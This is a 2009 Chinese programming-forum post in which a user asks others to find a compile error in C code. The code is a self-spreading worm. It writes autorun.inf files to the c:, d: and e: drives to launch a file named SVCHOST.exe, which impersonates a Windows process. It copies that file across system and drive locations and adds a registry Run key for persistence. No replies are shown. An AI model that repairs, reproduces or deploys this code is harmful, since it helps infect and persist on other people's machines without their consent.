| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 357 人关注过本帖
标题:高手来帮我找个错误处来啊 编译时有个错误
只看楼主 加入收藏
a86819318
Rank: 2
等 级:论坛游民
帖 子:63
专家分:10
注 册:2009-10-8
结帖率:40%
收藏
 问题点数:0 回复次数:0 
高手来帮我找个错误处来啊 编译时有个错误
#define SVCHOST_NUM 6
#include<stdio.h>
#include<string.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";

int copy(char *infile,char *outfile)
{
     FILE *input,*output;
     char temp;
     if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen

(outfile,"wb"))!=NULL))
     {
       while(!feof(input))
       {
         fread(&temp,1,1,input);
         fwrite(&temp,1,1,output);
       }
       fclose(input);
       fclose(output);
       return 0;
     }
     else return 1;
}
int main(void)
{
     FILE *input,*output;
     int i,k;
     for(i=0;i<3;i++)
     {
       output=fopen(files_autorun[i],"w");
       fprintf(output,"%s",autorun);
       fclose(output);
     }
     for(i=0;i<=SVCHOST_NUM;i++)
     {
       if((input=fopen(files_svchost[i],"rb"))!=NULL)
       {
         fclose(input);
         for(k=0;k<SVCHOST_NUM;k++)
         {
           copy(files_svchost[i],files_svchost[k]);
         }
         i=SVCHOST_NUM+1;
       }
     }
     system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
     return 0;
}
搜索更多相关主题的帖子: 时有 编译 
2009-12-22 20:30
快速回复:高手来帮我找个错误处来啊 编译时有个错误
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.013748 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved